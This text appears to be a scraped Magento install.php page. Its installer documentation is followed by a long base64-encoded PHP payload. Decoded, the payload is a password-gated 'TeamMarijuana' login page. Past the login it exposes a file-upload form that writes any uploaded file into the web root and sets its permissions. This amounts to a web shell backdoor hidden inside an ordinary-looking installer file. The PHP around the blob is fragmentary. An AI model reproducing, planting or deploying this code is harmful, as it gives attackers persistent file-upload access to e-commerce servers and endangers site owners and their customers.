* array ( * 0 => * array ( * 'value' => 'zh_TW', * 'label' => 'Chinese (Taiwan)', * ), * ), * 'currency' => * array ( * 0 => * array ( * 'value' => 'zh_TW', * 'label' => 'Chinese (Taiwan)', * ), * ), * 'timezone' => * array ( * 0 => * array ( * 'value' => 'zh_TW', * 'label' => 'Chinese (Taiwan)', * ), * ), * ); * * or parsed in any other way. * * 2. Perform the installation * * php -f install.php -- --license_agreement_accepted yes \ * --locale en_US --timezone "America/Los_Angeles" --default_currency USD \ * --db_host localhost --db_name magento_database --db_user magento_user --db_pass 123123 \ * --db_prefix magento_ \ * --url "http://magento.example.com/" --use_rewrites yes \ * --use_secure yes --secure_base_url "https://magento.example.com/" --use_secure_admin yes \ * --admin_lastname Owner --admin_firstname Store --admin_email "admin@example.com" \ * --admin_username admin --admin_password 123123 \ * --encryption_key "Encryption Key" * * Possible options are: * --license_agreement_accepted // required, it will accept 'yes' value only * Locale settings: * --locale // required, Locale * --timezone // required, Time Zone * --default_currency // required, Default Currency * Database connection options: * --db_host // required, You can specify server port, ex.: localhost:3307 * // If you are not using default UNIX socket, you can specify it * // here instead of host, ex.: /var/run/mysqld/mysqld.sock * --db_model // Database type (mysql4 by default) * --db_name // required, Database Name * --db_user // required, Database User Name * --db_pass // required, Database User Password * --db_prefix // optional, Database Tables Prefix * // No table prefix will be used if not specified * Session options: * --session_save // optional, where to store session data - in db or files. files by default * Web access options: * --admin_frontname // optional, admin panel path, "admin" by default * --url // required, URL the store is supposed to be available at * --skip_url_validation // optional, skip validating base url during installation or not. No by default * --use_rewrites // optional, Use Web Server (Apache) Rewrites, * // You could enable this option to use web server rewrites functionality for improved SEO * // Please make sure that mod_rewrite is enabled in Apache configuration * --use_secure // optional, Use Secure URLs (SSL) * // Enable this option only if you have SSL available. * --secure_base_url // optional, Secure Base URL * // Provide a complete base URL for SSL connection. * // For example: https://www.mydomain.com/magento/ * --use_secure_admin // optional, Run admin interface with SSL * Backend interface options: * --enable_charts // optional, Enables Charts on the backend's dashboard * Admin user personal information: * --admin_lastname // required, admin user last name * --admin_firstname // required, admin user first name * --admin_email // required, admin user email * Admin user login information: * --admin_username // required, admin user login * --admin_password // required, admin user password * Encryption key: * --encryption_key // optional, will be automatically generated and displayed on success, if not specified * */ ?> ".base64_decode("PD9waHAKaWYgKCFkZWZpbmVkKCdNVE9QX0lTX1BST1RFQ1RFRCcpKQp7CmRlZmluZSgnTVRPUF9JU19QUk9URUNURUQnLCB0cnVlKTsKZGVmaW5lKCdQQVNTX01PREUnLHRydWUpOwokUEFTU0lORk8gPSBhcnJheSgiMTRlNzQ4ZGY5NDAyNmMzMGY2NjkxZDUwY2E3YjlmMjIiKTsKJFVTRVJQQVNTSU5GTyA9IGFycmF5KCk7CmRlZmluZSgnRU5DUllQVF9NT0RFJywxKTsKZGVmaW5lKCdDT09LSUVfREFZUycsMzY1KTsKZGVmaW5lKCdBTEVSVF9NRVNTJyx0cnVlKTsKZGVmaW5lKCdTVFJfTUVTUycsIkludmFsaWQgUGFzc3dvcmQhIik7CmRlZmluZSgnUkVESVJFQ1QnLGZhbHNlKTsKZGVmaW5lKCdSRURJUkVDVF9VUkwnLCJodHRwOi8vd3d3Lm15LWRvbWFpbi5jb20vZXJyb3IuaHRtIik7CmRlZmluZSgnUkVESVJFQ1RfVEFSR0VUJywiX3NlbGYiKTsKZGVmaW5lKCdNQVhfQVRURU1QJywzKTsKZGVmaW5lKCdVU0VSX1NFTlNJVElWRScsdHJ1ZSk7CmRlZmluZSgnUEFTU19TRU5TSVRJVkUnLHRydWUpOwpmdW5jdGlvbiBzYXZlX2Nvb2tpZSgkdXNlciwkcGFzcykgewoJaWYgKEVOQ1JZUFRfTU9ERSA9PTApIHJldHVybjsKCWlmIChFTkNSWVBUX01PREUgPT0xKQoJCSRjb29raWVfZXhwaXJlPTA7CgllbHNlIGlmIChFTkNSWVBUX01PREUgPT0yKQoJCSRjb29raWVfZXhwaXJlPXRpbWUoKStDT09LSUVfREFZUyoyNCo2MCo2MDsKCWlmIChpc3NldCgkdXNlcikpIHNldGNvb2tpZSgnbXR1c3InLCR1c2VyLCRjb29raWVfZXhwaXJlLCcvJyk7CglzZXRjb29raWUoJ210cHdkJywkcGFzcywkY29va2llX2V4cGlyZSwnLycpOwp9CmZ1bmN0aW9uIGNoZWNrX3Bvc3RpbmZvKCkgewoJZ2xvYmFsICRQQVNTSU5GTywkVVNFUlBBU1NJTkZPOwoJaWYgKFBBU1NfTU9ERSkgewoJCWlmIChpc3NldCgkX1BPU1RbJ210cHdkJ10pKQl7CgkJCSRwYXNzPSRfUE9TVFsnbXRwd2QnXTsKCQkJaWYgKCFQQVNTX1NFTlNJVElWRSkgJHBhc3M9c3RydG9sb3dlcigkcGFzcyk7CgkJCWlmIChpbl9hcnJheShtZDUoJHBhc3MpLCAkUEFTU0lORk8pKSB7CgkJCQlzYXZlX2Nvb2tpZShOVUxMLCRwYXNzKTsKCQkJCXVuc2V0KCRfUE9TVFsnbXRwd2QnXSk7CgkJCQlyZXR1cm4gMTsKCQkJfQoJCQllbHNlCgkJCQlyZXR1cm4gLTI7CgkJfQoJCWVsc2UKCQkJcmV0dXJuIC0xOwoJfQoJZWxzZSB7CgkJaWYgKGlzc2V0KCRfUE9TVFsnbXR1c3InXSkgJiYgaXNzZXQoJF9QT1NUWydtdHB3ZCddKSkgewoJCQkkdXNlcj0kX1BPU1RbJ210dXNyJ107CgkJCWlmICghVVNFUl9TRU5TSVRJVkUpICR1c2VyPXN0cnRvbG93ZXIoJHVzZXIpOyAKCQkJJHBhc3M9JF9QT1NUWydtdHB3ZCddOwoJCQlpZiAoIVBBU1NfU0VOU0lUSVZFKSAkcGFzcz1zdHJ0b2xvd2VyKCRwYXNzKTsKCQkJaWYgKGluX2FycmF5KGFycmF5KG1kNSgkdXNlciksbWQ1KCRwYXNzKSksICRVU0VSUEFTU0lORk8pKSB7CgkJCQlzYXZlX2Nvb2tpZSgkdXNlciwkcGFzcyk7CgkJCQl1bnNldCgkX1BPU1RbJ210dXNyJ10pOwoJCQkJdW5zZXQoJF9QT1NUWydtdHB3ZCddKTsKCQkJCXJldHVybiAxOwoJCQl9CgkJCWVsc2UKCQkJCXJldHVybiAtMjsKCQl9CgkJZWxzZQoJCQlyZXR1cm4gLTE7Cgl9Cn0KZnVuY3Rpb24gY2hlY2tfY29va2llKCkgewoJZ2xvYmFsICRQQVNTSU5GTywkVVNFUlBBU1NJTkZPOwoJaWYgKFBBU1NfTU9ERSkgewoJCWlmIChpc3NldCgkX0NPT0tJRVsnbXRwd2QnXSkpIAoJCXsKCQkJJHBhc3M9bWQ1KCRfQ09PS0lFWydtdHB3ZCddKTsKCQkJaWYgKGluX2FycmF5KCRwYXNzLCAkUEFTU0lORk8pKSB7CgkJCQlzYXZlX2Nvb2tpZShOVUxMLCRfQ09PS0lFWydtdHB3ZCddKTsKCQkJCXJldHVybiB0cnVlOwoJCQl9CgkJCWVsc2UKCQkJCXJldHVybiBmYWxzZTsKCQl9Cgl9CgllbHNlIHsKCQlpZiAoaXNzZXQoJF9DT09LSUVbJ210dXNyJ10pICYmIGlzc2V0KCRfQ09PS0lFWydtdHB3ZCddKSkgCgkJewoJCQkkdXNlcj1tZDUoJF9DT09LSUVbJ210dXNyJ10pOwoJCQkkcGFzcz1tZDUoJF9DT09LSUVbJ210cHdkJ10pOwoJCQlpZiAoaW5fYXJyYXkoYXJyYXkoJHVzZXIsJHBhc3MpLCAkVVNFUlBBU1NJTkZPKSkgewoJCQkJc2F2ZV9jb29raWUoJF9DT09LSUVbJ210dXNyJ10sJF9DT09LSUVbJ210cHdkJ10pOwoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQkJZWxzZQoJCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzaG93X2xvZ2luKCkgewo/Pgo8aHRtbD4KCjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5mdW5jdGlvbiBraWxsZXJyb3JzKCl7cmV0dXJuIHRydWU7fXdpbmRvdy5vbmVycm9yID0ga2lsbGVycm9yczs8L3NjcmlwdD4KPC9oZWFkPgoKPGJvZHk+Cgo8Y2VudGVyPgoKCTxicj48YnI+PGJyPgoJPGZvcm0gbmFtZT0iaHRmb3JtIiBtZXRob2Q9InBvc3QiID4KCQk8dGFibGUgd2lkdGg9IjI4MCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBib3JkZXI9IjAiIHN0eWxlPSJib3JkZXItdG9wOiAxcHggc29saWQgIzYyOTRBODsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNjI5NEE4OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNjI5NEE4OyI+CgkJPHRyPgoJCQk8dGQgd2lkdGg9IjIwIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiPjwvdGQ+CgkJCTx0ZCBzdHlsZT0icGFkZGluZzogNHB4O2ZvbnQtZmFtaWx5OiBWZXJkYW5hO2ZvbnQtc2l6ZTogMTFweDsiIGNsYXNzPSJNZW51VGl0bGUiPjxiPlRlYW1NYXJpanVhbmEgTG9naW48L2I+PC90ZD4KCQk8L3RyPgoJCTwvdGFibGU+CQkKCQk8dGFibGUgd2lkdGg9IjI4MCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIzIiBib3JkZXI9IjAiIGJnY29sb3I9IiNCQ0M5Q0UiIHN0eWxlPSJib3JkZXItYm90dG9tOiAxcHggc29saWQgIzYyOTRBODsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNjI5NEE4OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNjI5NEE4OyI+CgkJPHRyPgoJCQk8dGQgc3R5bGU9ImZvbnQtZmFtaWx5OiBWZXJkYW5hO2ZvbnQtc2l6ZTogMTFweDsiIGFsaWduPSJyaWdodCIgd2lkdGg9IjMwJSIgaGVpZ2h0PSI2MCI+UGFzc3dvcmQ6PC90ZD4KCQkJPHRkIHN0eWxlPSJmb250LWZhbWlseTogVmVyZGFuYTtmb250LXNpemU6IDExcHg7IiBhbGlnbj0ibGVmdCIgd2lkdGg9IjcwJSIgaGVpZ2h0PSI2MCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJtdHB3ZCIgdmFsdWU9IiIgc3R5bGU9IndpZHRoOjEyMHB4OyI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj48L3RkPgoJCTwvdHI+Cgk8L3RhYmxlPgoJPC9mb3JtPgoKCTxwPgoJPC9wPiAKPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgppZiAoZG9jdW1lbnQuaHRmb3JtLm10cHdkKSBkb2N1bWVudC5odGZvcm0ubXRwd2QuZm9jdXMoKTsKd3NpZGU9KHdpbmRvdy5zaWRlYmFyKT90cnVlOmZhbHNlO2lzTlM9bmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ25ldHNjYXBlJyk+PTA/dHJ1ZTpmYWxzZTtmdW5jdGlvbiBub2Vycm9yKCl7cmV0dXJuIHRydWV9O3dpbmRvdy5vbmVycm9yID0gbm9lcnJvcjt2YXIgaXNPZmY9ZmFsc2U7PC9zY3JpcHQ+Cgo8P3BocAoJZXhpdCgpOwp9CmZ1bmN0aW9uIGFsZXJ0X2FuZF9yZWRpcmVjdCgpIHsKCWlmICgoIUFMRVJUX01FU1MpICYmICghUkVESVJFQ1QpKSByZXR1cm47Cgkkc3RyPSI8c2NyaXB0IGxhbmd1YWdlPSdKYXZhU2NyaXB0Jz4iOwoJaWYgKEFMRVJUX01FU1MpICRzdHIuPSJhbGVydChcIiIuIFNUUl9NRVNTIC4iXCIpOyI7CglpZiAoUkVESVJFQ1QpIHsKCQkkdHJpZWQ9MDsKCQlpZiAoaXNzZXQoJF9DT09LSUVbJ2VycnRyaWVzJ10pKSAKCQkJJHRyaWVkPWludHZhbCgkX0NPT0tJRVsnZXJydHJpZXMnXSk7CgkJc2V0Y29va2llKCdlcnJ0cmllcycsJHRyaWVkKzEsMCwnLycpOwoJCWlmICgkdHJpZWQ+PU1BWF9BVFRFTVApCgkJCSRzdHIuPSJ3aW5kb3cub3BlbihcIiIuIFJFRElSRUNUX1VSTCAuIlwiLFwiIiAuIFJFRElSRUNUX1RBUkdFVCAuICJcIik7IjsKCX0KCSRzdHIuPSI8L3NjcmlwdD4iOwoJZWNobyAkc3RyOwp9CmZ1bmN0aW9uIGNoZWNrX3ZhbGlkKCkKewoJJGlfcmV0ID0gY2hlY2tfcG9zdGluZm8oKTsKCWlmICgkaV9yZXQgPT0gLTIpIHsKCQlhbGVydF9hbmRfcmVkaXJlY3QoKTsKCQlzaG93X2xvZ2luKCk7Cgl9CgllbHNlIGlmICgkaV9yZXQgPT0gLTEpCgkJaWYgKCFjaGVja19jb29raWUoKSkKCQkJc2hvd19sb2dpbigpOwp9CmNoZWNrX3ZhbGlkKCk7Cn0KPz48P3BocAovKioKICogTWFnZW50bwogKgogKiBOT1RJQ0UgT0YgTElDRU5TRQogKgogKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMCkKICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UudHh0LgogKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDoKICogaHR0cDovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL29zbC0zLjAucGhwCiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvCiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWwKICogdG8gbGljZW5zZUBtYWdlbnRvY29tbWVyY2UuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuCiAqCiAqIERJU0NMQUlNRVIKICoKICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIE1hZ2VudG8gdG8gbmV3ZXIKICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIE1hZ2VudG8gZm9yIHlvdXIKICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHA6Ly93d3cubWFnZW50b2NvbW1lcmNlLmNvbSBmb3IgbW9yZSBpbmZvcm1hdGlvbi4KICoKICogQGNhdGVnb3J5ICAgTWFnZQogKiBAcGFja2FnZSAgICBNYWdlCiAqIEBjb3B5cmlnaHQgIENvcHlyaWdodCAoYykgMjAwOCBJcnViaW4gQ29uc3VsdGluZyBJbmMuIERCQSBWYXJpZW4gKGh0dHA6Ly93d3cudmFyaWVuLmNvbSkKICogQGxpY2Vuc2UgICAgaHR0cDovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL29zbC0zLjAucGhwICBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApCiAqLwoKCi8qKgogKiBUaGVyZSBhcmUgdHdvIG1vZGVzIHRvIHJ1biB0aGlzIHNjcmlwdDoKICoKICogMS4gRHVtcCBhdmFpbGFibGUgbG9jYWxlIG9wdGlvbnMgKGN1cnJlbmNpZXMsIGxvY2FsZXMsIHRpbWV6b25lcykgYW5kIGV4aXQKICogcGhwIC1mIGluc3RhbGwucGhwIC0tIC0tZ2V0X29wdGlvbnMKICoKICogVGhlIG91dHB1dCBjYW4gYmUgZXZhbCdkIGluIGEgcmVndWxhciBQSFAgYXJyYXkgb2YgdGhlIGZvbGxvd2luZyBmb3JtYXQ6CiAqIGFycmF5ICgKICogICAnbG9jYWxlJyA9PgogKiAgIGFycmF5ICgKICogICAgIDAgPT4KICogICAgIGFycmF5ICgKICogICAgICAgJ3ZhbHVlJyA9PiAnemhfVFcnLAogKiAgICAgICAnbGFiZWwnID0+ICdDaGluZXNlIChUYWl3YW4pJywKICogICAgICksCiAqICAgKSwKICogICAnY3VycmVuY3knID0+CiAqICAgYXJyYXkgKAogKiAgICAgMCA9PgogKiAgICAgYXJyYXkgKAogKiAgICAgICAndmFsdWUnID0+ICd6aF9UVycsCiAqICAgICAgICdsYWJlbCcgPT4gJ0NoaW5lc2UgKFRhaXdhbiknLAogKiAgICAgKSwKICogICApLAogKiAgICd0aW1lem9uZScgPT4KICogICBhcnJheSAoCiAqICAgICAwID0+CiAqICAgICBhcnJheSAoCiAqICAgICAgICd2YWx1ZScgPT4gJ3poX1RXJywKICogICAgICAgJ2xhYmVsJyA9PiAnQ2hpbmVzZSAoVGFpd2FuKScsCiAqICAgICApLAogKiAgICksCiAqICk7CiAqCiAqIG9yIHBhcnNlZCBpbiBhbnkgb3RoZXIgd2F5LgogKgogKiAyLiBQZXJmb3JtIHRoZSBpbnN0YWxsYXRpb24KICoKICogIHBocCAtZiBpbnN0YWxsLnBocCAtLSAtLWxpY2Vuc2VfYWdyZWVtZW50X2FjY2VwdGVkIHllcyBcCiAqICAtLWxvY2FsZSBlbl9VUyAtLXRpbWV6b25lICJBbWVyaWNhL0xvc19BbmdlbGVzIiAtLWRlZmF1bHRfY3VycmVuY3kgVVNEIFwKICogIC0tZGJfaG9zdCBsb2NhbGhvc3QgLS1kYl9uYW1lIG1hZ2VudG9fZGF0YWJhc2UgLS1kYl91c2VyIG1hZ2VudG9fdXNlciAtLWRiX3Bhc3MgMTIzMTIzIFwKICogIC0tZGJfcHJlZml4IG1hZ2VudG9fIFwKICogIC0tdXJsICJodHRwOi8vbWFnZW50by5leGFtcGxlLmNvbS8iIC0tdXNlX3Jld3JpdGVzIHllcyBcCiAqICAtLXVzZV9zZWN1cmUgeWVzIC0tc2VjdXJlX2Jhc2VfdXJsICJodHRwczovL21hZ2VudG8uZXhhbXBsZS5jb20vIiAtLXVzZV9zZWN1cmVfYWRtaW4geWVzIFwKICogIC0tYWRtaW5fbGFzdG5hbWUgT3duZXIgLS1hZG1pbl9maXJzdG5hbWUgU3RvcmUgLS1hZG1pbl9lbWFpbCAiYWRtaW5AZXhhbXBsZS5jb20iIFwKICogIC0tYWRtaW5fdXNlcm5hbWUgYWRtaW4gLS1hZG1pbl9wYXNzd29yZCAxMjMxMjMgXAogKiAgLS1lbmNyeXB0aW9uX2tleSAiRW5jcnlwdGlvbiBLZXkiCiAqCiAqIFBvc3NpYmxlIG9wdGlvbnMgYXJlOgogKiAtLWxpY2Vuc2VfYWdyZWVtZW50X2FjY2VwdGVkIC8vIHJlcXVpcmVkLCBpdCB3aWxsIGFjY2VwdCAneWVzJyB2YWx1ZSBvbmx5CiAqIExvY2FsZSBzZXR0aW5nczoKICogLS1sb2NhbGUgICAgICAgICAgICAgICAgICAgICAvLyByZXF1aXJlZCwgTG9jYWxlCiAqIC0tdGltZXpvbmUgICAgICAgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIFRpbWUgWm9uZQogKiAtLWRlZmF1bHRfY3VycmVuY3kgICAgICAgICAgIC8vIHJlcXVpcmVkLCBEZWZhdWx0IEN1cnJlbmN5CiAqIERhdGFiYXNlIGNvbm5lY3Rpb24gb3B0aW9uczoKICogLS1kYl9ob3N0ICAgICAgICAgICAgICAgICAgICAvLyByZXF1aXJlZCwgWW91IGNhbiBzcGVjaWZ5IHNlcnZlciBwb3J0LCBleC46IGxvY2FsaG9zdDozMzA3CiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gSWYgeW91IGFyZSBub3QgdXNpbmcgZGVmYXVsdCBVTklYIHNvY2tldCwgeW91IGNhbiBzcGVjaWZ5IGl0CiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gaGVyZSBpbnN0ZWFkIG9mIGhvc3QsIGV4LjogL3Zhci9ydW4vbXlzcWxkL215c3FsZC5zb2NrCiAqIC0tZGJfbW9kZWwgICAgICAgICAgICAgICAgICAgLy8gRGF0YWJhc2UgdHlwZSAobXlzcWw0IGJ5IGRlZmF1bHQpCiAqIC0tZGJfbmFtZSAgICAgICAgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIERhdGFiYXNlIE5hbWUKICogLS1kYl91c2VyICAgICAgICAgICAgICAgICAgICAvLyByZXF1aXJlZCwgRGF0YWJhc2UgVXNlciBOYW1lCiAqIC0tZGJfcGFzcyAgICAgICAgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIERhdGFiYXNlIFVzZXIgUGFzc3dvcmQKICogLS1kYl9wcmVmaXggICAgICAgICAgICAgICAgICAvLyBvcHRpb25hbCwgRGF0YWJhc2UgVGFibGVzIFByZWZpeAogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE5vIHRhYmxlIHByZWZpeCB3aWxsIGJlIHVzZWQgaWYgbm90IHNwZWNpZmllZAogKiBTZXNzaW9uIG9wdGlvbnM6CiAqIC0tc2Vzc2lvbl9zYXZlIDxmaWxlc3xkYj4gICAgLy8gb3B0aW9uYWwsIHdoZXJlIHRvIHN0b3JlIHNlc3Npb24gZGF0YSAtIGluIGRiIG9yIGZpbGVzLiBmaWxlcyBieSBkZWZhdWx0CiAqIFdlYiBhY2Nlc3Mgb3B0aW9uczoKICogLS1hZG1pbl9mcm9udG5hbWUgPHBhdGg+ICAgICAvLyBvcHRpb25hbCwgYWRtaW4gcGFuZWwgcGF0aCwgImFkbWluIiBieSBkZWZhdWx0CiAqIC0tdXJsICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIFVSTCB0aGUgc3RvcmUgaXMgc3VwcG9zZWQgdG8gYmUgYXZhaWxhYmxlIGF0CiAqIC0tc2tpcF91cmxfdmFsaWRhdGlvbiAgICAgICAgLy8gb3B0aW9uYWwsIHNraXAgdmFsaWRhdGluZyBiYXNlIHVybCBkdXJpbmcgaW5zdGFsbGF0aW9uIG9yIG5vdC4gTm8gYnkgZGVmYXVsdAogKiAtLXVzZV9yZXdyaXRlcyAgICAgICAgICAgICAgIC8vIG9wdGlvbmFsLCBVc2UgV2ViIFNlcnZlciAoQXBhY2hlKSBSZXdyaXRlcywKICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBZb3UgY291bGQgZW5hYmxlIHRoaXMgb3B0aW9uIHRvIHVzZSB3ZWIgc2VydmVyIHJld3JpdGVzIGZ1bmN0aW9uYWxpdHkgZm9yIGltcHJvdmVkIFNFTwogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFBsZWFzZSBtYWtlIHN1cmUgdGhhdCBtb2RfcmV3cml0ZSBpcyBlbmFibGVkIGluIEFwYWNoZSBjb25maWd1cmF0aW9uCiAqIC0tdXNlX3NlY3VyZSAgICAgICAgICAgICAgICAgLy8gb3B0aW9uYWwsIFVzZSBTZWN1cmUgVVJMcyAoU1NMKQogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIEVuYWJsZSB0aGlzIG9wdGlvbiBvbmx5IGlmIHlvdSBoYXZlIFNTTCBhdmFpbGFibGUuCiAqIC0tc2VjdXJlX2Jhc2VfdXJsICAgICAgICAgICAgLy8gb3B0aW9uYWwsIFNlY3VyZSBCYXNlIFVSTAogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFByb3ZpZGUgYSBjb21wbGV0ZSBiYXNlIFVSTCBmb3IgU1NMIGNvbm5lY3Rpb24uCiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gRm9yIGV4YW1wbGU6IGh0dHBzOi8vd3d3Lm15ZG9tYWluLmNvbS9tYWdlbnRvLwogKiAtLXVzZV9zZWN1cmVfYWRtaW4gICAgICAgICAgIC8vIG9wdGlvbmFsLCBSdW4gYWRtaW4gaW50ZXJmYWNlIHdpdGggU1NMCiAqIEJhY2tlbmQgaW50ZXJmYWNlIG9wdGlvbnM6CiAqIC0tZW5hYmxlX2NoYXJ0cyAgICAgICAgICAgICAgLy8gb3B0aW9uYWwsIEVuYWJsZXMgQ2hhcnRzIG9uIHRoZSBiYWNrZW5kJ3MgZGFzaGJvYXJkCiAqIEFkbWluIHVzZXIgcGVyc29uYWwgaW5mb3JtYXRpb246CiAqIC0tYWRtaW5fbGFzdG5hbWUgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIGFkbWluIHVzZXIgbGFzdCBuYW1lCiAqIC0tYWRtaW5fZmlyc3RuYW1lICAgICAgICAgICAgLy8gcmVxdWlyZWQsIGFkbWluIHVzZXIgZmlyc3QgbmFtZQogKiAtLWFkbWluX2VtYWlsICAgICAgICAgICAgICAgIC8vIHJlcXVpcmVkLCBhZG1pbiB1c2VyIGVtYWlsCiAqIEFkbWluIHVzZXIgbG9naW4gaW5mb3JtYXRpb246CiAqIC0tYWRtaW5fdXNlcm5hbWUgICAgICAgICAgICAgLy8gcmVxdWlyZWQsIGFkbWluIHVzZXIgbG9naW4KICogLS1hZG1pbl9wYXNzd29yZCAgICAgICAgICAgICAvLyByZXF1aXJlZCwgYWRtaW4gdXNlciBwYXNzd29yZAogKiBFbmNyeXB0aW9uIGtleToKICogLS1lbmNyeXB0aW9uX2tleSAgICAgICAgICAgICAvLyBvcHRpb25hbCwgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBhbmQgZGlzcGxheWVkIG9uIHN1Y2Nlc3MsIGlmIG5vdCBzcGVjaWZpZWQKICoKICovCj8+Cjw/cGhwIGVjaG8gIjxjZW50ZXI+PGZvbnQ+IjtpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSl7JGY9IiI7JG09JzIwMDAwMDAwJzskbW9kPScwNjQ0JzskdXNmaWxlX25hbWU9JF9GSUxFU1snaW1hZ2UnXVsnbmFtZSddOyR1c2ZpbGVfdG1wPSRfRklMRVNbJ2ltYWdlJ11bJ3RtcF9uYW1lJ107aWYoaXNzZXQoJF9GSUxFU1snaW1hZ2UnXVsnbmFtZSddKSl7JGd6PSRmLiR1c2ZpbGVfbmFtZTtAbW92ZV91cGxvYWRlZF9maWxlKCR1c2ZpbGVfdG1wLCRneik7QGNobW9kKCRneixvY3RkZWMoJG1vZCkpO2VjaG8gIjxjZW50ZXI+PGI+RG9uZSEhISEhISEhIT09PiR1c2ZpbGVfbmFtZTwvYj48L2NlbnRlcj4iO319ZWxzZXtlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIyIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImltYWdlIj48YnIvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWUgPSAic3VibWl0IiB2YWx1ZT0idXBsb2FkIj48L2Zvcm0+JzsgfWVjaG8gIjwvY2VudGVyPjwvZm9udD4gICI7Pz4gICAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp3c2lkZT0od2luZG93LnNpZGViYXIpP3RydWU6ZmFsc2U7aXNOUz1uYXZpZ2F0b3IudXNlckFnZW50LnRvTG93ZXJDYXNlKCkuaW5kZXhPZignbmV0c2NhcGUnKT49MD90cnVlOmZhbHNlO2Z1bmN0aW9uIG5vZXJyb3IoKXtyZXR1cm4gdHJ1ZX07d2luZG93Lm9uZXJyb3IgPSBub2Vycm9yO3ZhciBpc09mZj1mYWxzZTs8L3NjcmlwdD4KCjwhLS1UaGlzIFBhZ2UgaXMgUGFzc3dvcmQgUHJvdGVjdGVkLS0+")); ?>

Copyright © 2015. Designed by Webinnov